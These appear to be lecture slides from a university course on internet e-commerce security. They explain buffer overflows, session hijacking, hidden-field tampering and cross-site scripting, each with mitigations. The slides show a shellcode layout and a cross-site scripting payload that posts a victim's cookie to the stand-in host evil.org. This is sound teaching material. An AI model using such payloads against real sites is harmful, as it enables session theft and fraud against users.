CSE 190: Internet E-Commerce

CSE 190: Internet E-Commerce Lecture 15: Security

Security: Three Focuses • Prevention • Most common approach • Detection • Beyond Intrusion Detection Systems (IDS) – what is application responsibility • Recovery • Often neglected • Reference: “Secrets & Lies” by Schneir

Security Posture of ane-Commerce Infrastructure

Attack: Buffer Overflow • Based on boundary checking failure foo(char *s) { char buf[42]; // ... strcpy(buf, s); // ... } • What if strlen(s) > 42 ?

Stack Frame SP buf RET s 0000 0000 08000490 FFFF2480 Consider: s = “AAAAAAAAAAAAA…AAAAA”;

Stack Frame SP buf RET s 4141 4141 41414141 41414141 Consider: s = “AAAAAAAAAAAAA…AAAAA”;

Executing Code • Basic Principle • Place code in buffer • Overwrite return address to point to code • Shell code • Often: execve(“/bin/sh”, args) • NOP sled

Shell Code (cont) s = “\x90\x90...\x90” /* NOP sled */ “\xeb.../bin/sh” /* shellcode */ “\xff\xff\x01\xde...\xff\xff\x01\xde” /* return addr */; SP buf RET s 9090...9090 EBAF...68 FFFF...DE FFFF01DE FFFF01DE

Buffer Overflow: Impact • Execute arbitrary code with privileges of vulnerable process • Often remotely exploitable • Examples: • Code Red (Microsoft IIS Indexing DLL) • Oracle 8i TNS Listener • Netscape Enterprise Content Negotiation

Buffer Overflow Mitigation • Coding Standards • strncpy() instead of strcpy(), etc… • Completeness? • Code audits • Manual/Automated • Robust/Automated Memory Management • String classes • Java, Perl etc • Testing • Coverage? • Correctness through testing harder than development

Attack: Hijacking Sessions • Insufficient Entropy (Randomness) in session Ids Client 1 Cookie: sess=TWGYLZIAAACVDQ3UUSZQV2I Client 2 Cookie: sess=TWGY0WYAAACVFQ3UUSZQV2I E.g., IBM Websphere 3.x

Session Hijacking: Impact • Brute-force search for valid session Ids • Web server as oracle • Full, unauthorized control over user session • Information disclosure • Online theft • Pretexting

Session Hijacking: Mitigation • Generate Session IDs using cryptographically strong PRNG • `Good’ source of entropy • E.g./dev/urandom • Cryptographic verification • E.g. HMAC-SHA1 • App-level IDS • Alert on multiple, invalid session IDs

Merchant.com Confirm PurchaseDVD XYZQuantity: 2Price: 23.45Total: 46.90 OK Client State Perturbation <FORM METHOD=POST ACTION=https://merchant.com/buy.cgi> . . . <INPUT TYPE=HIDDEN NAME=TOTAL VALUE=46.90> <INPUT TYPE=SUBMIT VALUE=‘ OK ‘></FORM>

Client State Perturbation: Impact • Fraud (previous example) • Unauthorized Access to Information https://url.com/show_account.cgi?cust_id=29352 • Unauthorized Modification of Data

Client State Perturbation: Mitigation • Do not trust any values received from client (URL params, forms, cookies) • Cross-validate against known session state • Cryptographically verify arguments (MAC) • Minimize state maintained in client • Server-side session object • Stateless UI Flows

Merchant.com Product Search xyz Submit Attack: Cross-Site Scripting ... <P>Search results for query`xyz’<P><HR> ... Merchant.com Search results forquery `xyz’: DVD XYZ

Cross-Site Scripting (cont) Merchant.com Product Search <SCRI ... <P>Search results for query`<SCRIPT> alert(“boo!”);</SCRIPT>’<P><HR>Nothing found ... Merchant.com Submit Search results forquery `’: Nothing found boo! Ok

<form name=snagaction=http://evil.org/ snag_it.cgi method=post> <input type=hiddenname=it> </form> <script> document.snag.it= document.cookie; document.snag.submit(); </script> Script discloses cookie to evil.org JavaScript security model: Same Origin policy Script can only access properties of objects form its own domain of origin Execute script with origin “merchant.com”? Cross-Site Scripting:Malicious Script

http://evil.org/evil.html <form name=f action= http://www.merchant.com/ search.cgi method=post> <input type=text name=query value=“<form name=snag ...”> <input type=submit ...> </form> <script> document.f.submit(); </script> Arrange for target to view page containing<iframe src=.../evil.html> Any page under evil.org’s control HTML email Form POST to merchant.com Form POST of cookie to evil.org Cross-Site Scripting: Injecting Malicious Script

Cross-Site Scripting:Impact • Unauthorized disclosure of user information • Unauthorized gaining of control over use sessions • Theft • Etc…

Cross-Site Scripting: Mitigation • Escape user input before rendering in-line with HTML:<P>Search results for query`<SCRIPT> • Challenges • Input processing: Verbatim processing of inputs • Output processing: Coverage

Architectural Considerations:Dealing with the Unknown • Defense in Depth • Trust Relationships • Compartmentalization • Encryption • Passive Defense vs. Active Response

Multi-Tiered Architecture • Tight filtering policies between networks • Effective against unknown vulnerabilities with “execute code on server” impact • Host/Network IDS: Response Capability

Security: DMZ • DMZ: Demilitarized Zone • Servers designated less secure; not related to terrorism! • Use two firewalls to create a DMZ; database behind 2nd

Trust Relationships/ Compartmentalization • Minimize assumptions/trust between architectural tiers/software layers • Multiple layers of validation • Independent authentication/authorization • E.g. Granular DB-level access control • Views • Stored procedures • Mitigation of input validation errors

Encryption • Protection of data in transit/persistent store • 3DES, AES, RSA • SSL • Data protection in partially compromised system • Insider Threat • Separation of duties (DBA vs. Key Mgmt)

Encryption • Secure Sockets Layer (SSL) • Encrypts just before converting HTTP content into TCP/IP packets for Internet transmission. • HTTPS: denotes secure servers. Default port is 443 (as opposed to 80 of HTTP servers). Both can run on same machine. • Client and server exchange session-long encryption keys, and also server authenticates via certificate

Defense vs. Recovery • No software is 100% bug free • Some bugs constitute vulnerabilities • No software is 100% secure • Detection and response capabilities • Exception handling • Log scanning • Operator alerts

CSE 190: Internet E-Commerce